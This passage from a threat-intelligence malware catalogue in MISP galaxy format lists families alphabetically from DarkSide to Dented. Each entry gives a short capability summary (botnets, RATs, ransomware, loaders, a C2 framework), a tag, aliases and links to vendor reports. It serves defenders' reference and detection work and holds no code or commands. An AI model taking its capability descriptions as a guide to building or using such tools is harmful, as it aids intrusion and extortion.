<td><a href="https://www.digitalshadows.com/blog-and-research/darkside-the-new-ransomware-group-behind-">https://www.digitalshadows.com/blog-and-research/darkside-the-new-ransomware-group-behind-</a></td>
</tr>
<tr>
<td>highly-targeted-attacks/</td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/darkside-ransomware/">https://unit42.paloaltonetworks.com/darkside-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-189a">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-189a</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-">https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-</a></td>
</tr>
<tr>
<td>attacks/</td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-">https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-</a></td>
</tr>
<tr>
<td>ransomware/?utm_campaign=blog&amp;utm_medium=soc&amp;utm_source=twtr&amp;utm_content=sprout</td>
</tr>
<tr>
<td><a href="https://www.secjuice.com/blue-team-detection-darkside-ransomware/">https://www.secjuice.com/blue-team-detection-darkside-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2021/05/18/darkside_ransomware-QfsV.html">https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2021/05/18/darkside_ransomware-QfsV.html</a></td>
</tr>
<tr>
<td><a href="https://www.bleepingcomputer.com/news/security/darkside-ransomware-is-creating-a-secure-data-">https://www.bleepingcomputer.com/news/security/darkside-ransomware-is-creating-a-secure-data-</a></td>
</tr>
<tr>
<td>leak-service-in-iran/</td>
</tr>
<tr>
<td><a href="https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin">https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin</a></td>
</tr>
<tr>
<td>Link</td>
</tr>
<tr>
<td>------</td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/darkside-oil-pipeline-ransomware-attack/">https://securityintelligence.com/posts/darkside-oil-pipeline-ransomware-attack/</a></td>
</tr>
<tr>
<td><a href="https://www.intel471.com/blog/darkside-ransomware-colonial-pipeline-attack">https://www.intel471.com/blog/darkside-ransomware-colonial-pipeline-attack</a></td>
</tr>
<tr>
<td><a href="https://www.nozominetworks.com/blog/how-to-analyze-malware-for-technical-writing/">https://www.nozominetworks.com/blog/how-to-analyze-malware-for-technical-writing/</a></td>
</tr>
<tr>
<td><a href="https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/">https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/burrowing-your-way-into-vpns">https://www.mandiant.com/resources/burrowing-your-way-into-vpns</a></td>
</tr>
<tr>
<td><a href="https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/">https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/</a></td>
</tr>
<tr>
<td><a href="https://www.trendmicro.com/en_us/research/21/e/what-we-know-about-darkside-ransomware-and-the-us-pipeline-attack.html">https://www.trendmicro.com/en_us/research/21/e/what-we-know-about-darkside-ransomware-and-the-us-pipeline-attack.html</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=NIiEcOryLPi">https://www.youtube.com/watch?v=NIiEcOryLPi</a></td>
</tr>
<tr>
<td><a href="https://www.varonis.com/blog/darkside-ransomware/">https://www.varonis.com/blog/darkside-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://news.sophos.com/en-us/2021/05/11/a-defenders-view-inside-a-darkside-ransomware-attack/">https://news.sophos.com/en-us/2021/05/11/a-defenders-view-inside-a-darkside-ransomware-attack/</a></td>
</tr>
<tr>
<td><a href="https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636">https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/">https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware">https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf">https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/2021/06/04/the-ransomware-conundrum-a-look-into-darkside/">https://www.deepinstinct.com/2021/06/04/the-ransomware-conundrum-a-look-into-darkside/</a></td>
</tr>
</tbody>
</table>
Darksky

DarkSky is a botnet that is capable of downloading malware, conducting a number of network and application-layer distributed denial-of-service (DDoS) attacks, and detecting and evading security controls, such as sandboxes and virtual machines. It is advertised for sale on the dark web for $20.
Much of the malware that DarkSky has available to download onto targeted systems is associated with cryptocurrency-mining activity. The DDoS attacks that DarkSky can perform include DNS amplification attacks, TCP (SYN) flood, UDP flood, and HTTP flood. The botnet can also perform a check to determine whether or not the DDoS attack succeeded and turn infected systems into a SOCKS/HTTP proxy to route traffic to a remote server.

The tag is: `misp-galaxy:malpedia="Darksky"`

Darksky is also known as:

**Table 2857. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darksky">https://malpedia.caad.fkie.fraunhofer.de/details/win.darksky</a></td>
</tr>
<tr>
<td><a href="http://telegra.ph/Analiz-botneta-DarkSky-12-30">http://telegra.ph/Analiz-botneta-DarkSky-12-30</a></td>
</tr>
<tr>
<td><a href="https://blog.radware.com/security/2018/02/darksky-botnet/">https://blog.radware.com/security/2018/02/darksky-botnet/</a></td>
</tr>
</tbody>
</table>

**DarkStRat**

The tag is: `misp-galaxy:malpedia="DarkStRat"`

DarkStRat is also known as:

**Table 2858. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkstrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkstrat</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2014/11/12/korplug-military-targeted-attacks-afghanistan-tajikistan/">https://www.welivesecurity.com/2014/11/12/korplug-military-targeted-attacks-afghanistan-tajikistan/</a></td>
</tr>
</tbody>
</table>

**DarkTequila**

Dark Tequila is a complex malicious campaign targeting Mexican users, with the primary purpose of stealing financial information, as well as login credentials to popular websites that range from code versioning repositories to public file storage accounts and domain registrars.

The tag is: `misp-galaxy:malpedia="DarkTequila"`

DarkTequila is also known as:

**Table 2859. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darktequila">https://malpedia.caad.fkie.fraunhofer.de/details/win.darktequila</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/dark-tequila-anejo/87528/">https://securelist.com/dark-tequila-anejo/87528/</a></td>
</tr>
</tbody>
</table>
DarkTortilla

DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks® Counter Threat Unit™ (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver "addon packages" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.

From January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.

The tag is: misp-galaxy:malpedia="DarkTortilla"

DarkTortilla is also known as:

Table 2860. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darktortilla">https://malpedia.caad.fkie.fraunhofer.de/details/win.darktortilla</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/darktortilla-malware-analysis">https://www.secureworks.com/research/darktortilla-malware-analysis</a></td>
</tr>
</tbody>
</table>

Darktrack RAT

According to PCrisk, DarkTrack is a malicious program classified as a Remote Access Trojan (RAT). This type of malware enables remote access and control over an infected device. The level of control these programs have varies, however, some can allow user-level manipulation of the affected machine.

The functionalities of RATs likewise varies and so does the scope of potential misuse. DarkTrack has a broad range of functions/capabilities, which make this Trojan a highly-dangerous piece of software.

The tag is: misp-galaxy:malpedia="Darktrack RAT"

Darktrack RAT is also known as:

Table 2861. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darktrack_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.darktrack_rat</a></td>
</tr>
<tr>
<td><a href="https://nioguard.blogspot.de/2017/05/targeted-attack-against-ukrainian.html">https://nioguard.blogspot.de/2017/05/targeted-attack-against-ukrainian.html</a></td>
</tr>
<tr>
<td><a href="https://www.facebook.com/darktrackrat/">https://www.facebook.com/darktrackrat/</a></td>
</tr>
</tbody>
</table>
DarkVNC

According to Enigmasoft, DarkVNC malware is a hacking tool that is available for purchase online. It can be used as a Virtual Network Computing service, which means that the attackers can get full access to the targeted system via this malware. However, unlike a genuine Virtual Network Computing utility, the DarkVNC threat operates in the background silently. Therefore, it is highly likely that the victims may not notice that their systems have been compromised.

The tag is: misp-galaxy:malpedia="DarkVNC"

DarkVNC is also known as:

Table 2862. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884">https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/28934">https://isc.sans.edu/diary/rss/28934</a></td>
</tr>
</tbody>
</table>

Daserf

The tag is: misp-galaxy:malpedia="Daserf"

Daserf is also known as:

• Muirim
• Nioupale

Table 2863. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.daserf">https://malpedia.caad.fkie.fraunhofer.de/details/win.daserf</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-butler">https://www.secureworks.com/research/threat-profiles/bronze-butler</a></td>
</tr>
<tr>
<td><a href="https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/">https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses">https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses</a></td>
</tr>
</tbody>
</table>

1173
DataExfiltrator

The tag is: misp-galaxy:malpedia="DataExfiltrator"

DataExfiltrator is also known as:

- FileSender

Table 2864. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.data_exfiltrator">https://malpedia.caad.fkie.fraunhofer.de/details/win.data_exfiltrator</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/data-exfiltrator">https://blog.reversinglabs.com/blog/data-exfiltrator</a></td>
</tr>
</tbody>
</table>

Datper

The tag is: misp-galaxy:malpedia="Datper"

Datper is also known as:

Table 2865. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.datper">https://malpedia.caad.fkie.fraunhofer.de/details/win.datper</a></td>
</tr>
<tr>
<td><a href="https://www.macnica.net/mpressioncss/feature_05.html/">https://www.macnica.net/mpressioncss/feature_05.html/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses">https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses</a></td>
</tr>
</tbody>
</table>

Daxin

Symantec describes this as a malware written as Windows kernel driver, used by China-linked threat actors. The malware has a custom TCP/IP stack and is capable of hijacking connections.

The tag is: misp-galaxy:malpedia="Daxin"

Daxin is also known as:
DBatLoader

This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.

The tag is: **misp-galaxy:malpedia="DBatLoader"**

DBatLoader is also known as:

- ModiLoader
- NatsoLoader

Table 2867. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader</a></td>
</tr>
<tr>
<td><a href="https://malcat.fr/blog/exploit-steganography-and-delphi-unpacking-dbatloader/">https://malcat.fr/blog/exploit-steganography-and-delphi-unpacking-dbatloader/</a></td>
</tr>
<tr>
<td><a href="https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat">https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat</a></td>
</tr>
<tr>
<td><a href="https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4">https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4</a></td>
</tr>
</tbody>
</table>
DBoxAgent

This malware uses DropBox as C&C channel.

The tag is: `misp-galaxy:malpedia="DBoxAgent"`

DBoxAgent is also known as:

Table 2868. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dboxagent">https://malpedia.caad.fkie.fraunhofer.de/details/win.dboxagent</a></td>
</tr>
</tbody>
</table>

DcDcrypt

Ransomware written in .NET.

The tag is: `misp-galaxy:malpedia="DcDcrypt"

DcDcrypt is also known as:

Table 2869. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dcdcrypt">https://malpedia.caad.fkie.fraunhofer.de/details/win.dcdcrypt</a></td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/index.php/dcdcrypt-ransomware-decryptor/">https://labs.k7computing.com/index.php/dcdcrypt-ransomware-decryptor/</a></td>
</tr>
</tbody>
</table>

DCRat

DCRat is a typical RAT that has been around since at least June 2019.

The tag is: `misp-galaxy:malpedia="DCRat"`

DCRat is also known as:

- DarkCrystal RAT

Table 2870. Table References
Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat
https://forensicitguy.github.io/snip3-crypter-dcrat-vbs/
https://www.zscaler.com/blogs/security-research/snip3-crypter-reveals-new-ttps-over-time
https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html
https://cert.gov.ua/article/405538
https://community.riskiq.com/article/50c77491
https://embee-research.ghost.io/dcrat-manual-de-obfuscation/
https://tccontre.blogspot.com/2019/10/dcrat-malware-evades-sandbox-that-use.html
https://cert.gov.ua/article/160530
https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html
https://www.zscaler.com/blogs/security-research/freecryptoscam-new-cryptocurrency-scam-leads-installation-backdoors-and
https://www.fireeye.com/blog/threat-research/2020/05/analyzing-dark-crystal-rat-backdoor.html
https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus
https://www.youtube.com/watch?v=ElqmQDySy48
DCSrv

A ransomware as used by MosesStaff, built around the DiskCryptor tool.

The tag is: misp-galaxy:malpedia="DCSrv"

DCSrv is also known as:

- DCrSrv

Table 2871. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dcsrv">https://malpedia.caad.fkie.fraunhofer.de/details/win.dcsrv</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/">https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/</a></td>
</tr>
</tbody>
</table>

DDKeylogger

The tag is: misp-galaxy:malpedia="DDKeylogger"

DDKeylogger is also known as:

Table 2872. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkeylogger">https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkeylogger</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators">https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators</a></td>
</tr>
</tbody>
</table>

DDKONG

The tag is: misp-galaxy:malpedia="DDKONG"

DDKONG is also known as:

Table 2873. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkong">https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkong</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-overbrook">https://www.secureworks.com/research/threat-profiles/bronze-overbrook</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/">https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/rancortaurus/">https://unit42.paloaltonetworks.com/atoms/rancortaurus/</a></td>
</tr>
</tbody>
</table>
DEADWOOD

The tag is: `misp-galaxy:malpedia="DEADWOOD"`

DEADWOOD is also known as:

- Agrius
- DETBOSIT
- SQLShred

Table 2874. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.deadwood">https://malpedia.caad.fkie.fraunhofer.de/details/win.deadwood</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2022/12/07/fantasy-new-agrius-wiper-supply-chain-attack/">https://www.welivesecurity.com/2022/12/07/fantasy-new-agrius-wiper-supply-chain-attack/</a></td>
<td></td>
</tr>
</tbody>
</table>

DealPly

The tag is: `misp-galaxy:malpedia="DealPly"`

DealPly is also known as:

Table 2875. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dealply">https://malpedia.caad.fkie.fraunhofer.de/details/win.dealply</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://kienmanowar.wordpress.com/2021/05/11/quick-analysis-note-about-dealply-adware/">https://kienmanowar.wordpress.com/2021/05/11/quick-analysis-note-about-dealply-adware/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://securelist.com/threat-in-your-browser-extensions/107181">https://securelist.com/threat-in-your-browser-extensions/107181</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.catonetworks.com/blog/the-dga-algorithm-used-by-dealply-and-bujo/">https://www.catonetworks.com/blog/the-dga-algorithm-used-by-dealply-and-bujo/</a></td>
<td></td>
</tr>
</tbody>
</table>

dearcry

According to PCrisk, DearCry ransomware has been observed infecting systems via ProxyLogon vulnerabilities of Microsoft Exchange servers - mail and calendaring servers developed by Microsoft. While a patch has been released addressing these vulnerabilities, thousands of Microsoft Exchange servers remained unpatched at the time of research.
The tag is: misp-galaxy:malpedia="dearcry"

dearcry is also known as:

- DoejoCrypt

**Table 2876. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dearcry">https://malpedia.caad.fkie.fraunhofer.de/details/win.dearcry</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=qmCjtigVVR0">https://www.youtube.com/watch?v=qmCjtigVVR0</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=6lSfxsrs61s&amp;t=5s">https://www.youtube.com/watch?v=6lSfxsrs61s&amp;t=5s</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=Hhx9Q2i7zGo">https://www.youtube.com/watch?v=Hhx9Q2i7zGo</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-102b">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-102b</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=MRTdGUy1lfw">https://www.youtube.com/watch?v=MRTdGUy1lfw</a></td>
</tr>
</tbody>
</table>

**DeathRansom**

Also known as Wacatac ransomware due to its .wctc extension.

The tag is: misp-galaxy:malpedia="DeathRansom"

DeathRansom is also known as:

- deathransom
- wacatac

**Table 2877. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.deathransom">https://malpedia.caad.fkie.fraunhofer.de/details/win.deathransom</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Amigo_A_/status/1196898012645220354">https://twitter.com/Amigo_A_/status/1196898012645220354</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/death-ransom-new-strain-ransomware.html">https://www.fortinet.com/blog/threat-research/death-ransom-new-strain-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://dissectingmalwa.re/quick-and-painless-reversing-deathransom-wacatac.html">https://dissectingmalwa.re/quick-and-painless-reversing-deathransom-wacatac.html</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/1269">https://asec.ahnlab.com/1269</a></td>
</tr>
<tr>
<td><a href="https://github.com/albertszigovits/malware-notes/blob/master/DeathRansom.md">https://github.com/albertszigovits/malware-notes/blob/master/DeathRansom.md</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/death-ransom-attribution.html">https://www.fortinet.com/blog/threat-research/death-ransom-attribution.html</a></td>
</tr>
</tbody>
</table>
DECAF

Ransomware written in Go.

The tag is: `misp-galaxy:malpedia="DECAF"`

DECAF is also known as:

Table 2878. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.decaf">https://malpedia.caad.fkie.fraunhofer.de/details/win.decaf</a></td>
</tr>
</tbody>
</table>

Decebal

The tag is: `misp-galaxy:malpedia="Decebal"`

Decebal is also known as:

Table 2879. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.decebal">https://malpedia.caad.fkie.fraunhofer.de/details/win.decebal</a></td>
</tr>
</tbody>
</table>

DeepCreep

The tag is: `misp-galaxy:malpedia="DeepCreep"`

DeepCreep is also known as:

Table 2880. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.deepcreep">https://malpedia.caad.fkie.fraunhofer.de/details/win.deepcreep</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/">https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/</a></td>
</tr>
</tbody>
</table>
DeepRAT

The tag is: misp-galaxy:malpedia="DeepRAT"

DeepRAT is also known as:

Table 2881. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.deep_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.deep_rat</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/benkow_/status/1415797114794397701">https://twitter.com/benkow_/status/1415797114794397701</a></td>
</tr>
</tbody>
</table>

Defray

Defray is ransomware that appeared in 2017, and is targeted ransomware, mainly on the healthcare vertical.

The distribution of Defray has several notable characteristics: According to Proofpoint: " Defray is currently being spread via Microsoft Word document attachments in email The campaigns are as small as several messages each The lures are custom crafted to appeal to the intended set of potential victims The recipients are individuals or distribution lists, e.g., group@ and websupport@ Geographic targeting is in the UK and US Vertical targeting varies by campaign and is narrow and selective "

The tag is: misp-galaxy:malpedia="Defray"

Defray is also known as:

• Glushkov

Table 2882. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.defray">https://malpedia.caad.fkie.fraunhofer.de/details/win.defray</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4">https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=LUxOcpIRxmg">https://www.youtube.com/watch?v=LUxOcpIRxmg</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/">https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/">https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/</a></td>
</tr>
</tbody>
</table>
Deimos

Described by Elastic as being associated with win.jupyter, and being used in the context of initial access, persistence, and C&C capabilities.

The tag is: `misp-galaxy:malpedia="Deimos"

Deimos is also known as:

Table 2883. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.deimos">https://malpedia.caad.fkie.fraunhofer.de/details/win.deimos</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f">https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/blog">https://www.elastic.co/blog</a> going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant</td>
<td></td>
</tr>
</tbody>
</table>

DeimosC2

Trend Micro describes DeimosC2 as an open-source C&C framework that was released in June 2020. It is a fully-functional framework that allows for multiple attackers to access, create payloads for, and interact with victim computers. As a post-exploitation C&C framework, DeimosC2 will generate the payloads that need to be manually executed on computer servers that have been compromised through other means such as social engineering, exploitation, or brute-force attacks. Once it is deployed, the threat actors will gain the same access to the systems as the user account that the payload was executed as, either as an administrator or a regular user. Note that DeimosC2 does not perform active or privilege escalation of any kind.

The tag is: `misp-galaxy:malpedia="DeimosC2"

DeimosC2 is also known as:

Table 2884. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.deimos_c2">https://malpedia.caad.fkie.fraunhofer.de/details/win.deimos_c2</a></td>
<td></td>
</tr>
</tbody>
</table>
**DeliveryCheck**

According to CERT-UA, this malware makes use of XSLT (Extensible Stylesheet Language Transformations) and COM-hijacking. Its specificity is the presence of a server part, which is usually installed on compromised MS Exchange servers in the form of a MOF (Managed Object Format) file using the Desired State Configuration (DCS) PowerShell tool, effectively turning a legitimate server into a malware control center.

The tag is: `misp-galaxy:malpedia="DeliveryCheck"`

DeliveryCheck is also known as:

- CAPIBAR
- GAMEDAY

*Table 2885. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cert.gov.ua/article/5213167">https://cert.gov.ua/article/5213167</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/msftsecintel/status/1681695399084539908">https://twitter.com/msftsecintel/status/1681695399084539908</a></td>
</tr>
</tbody>
</table>

**Delta(Alfa, Bravo, ...)**

The tag is: `misp-galaxy:malpedia="Delta(Alfa, Bravo, ...)"

Delta(Alfa, Bravo, ...) is also known as:

*Table 2886. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**DeltaStealer**

Rust-based infostealer.

The tag is: `misp-galaxy:malpedia="DeltaStealer"

DeltaStealer is also known as:

*Table 2887. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Dented

Dented is a banking bot written in C. It supports IE, Firefox, Chrome, Opera and Edge and comes with a simple POS grabber. Due to its modularity, reverse socks 5, tor and vnc can be added.

The tag is: misp-galaxy:malpedia="Dented"

Dented is also known as:

Table 2888. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dented">https://malpedia.caad.fkie.fraunhofer.de/details/win.dented</a></td>
</tr>
</tbody>
</table>

Deprimon

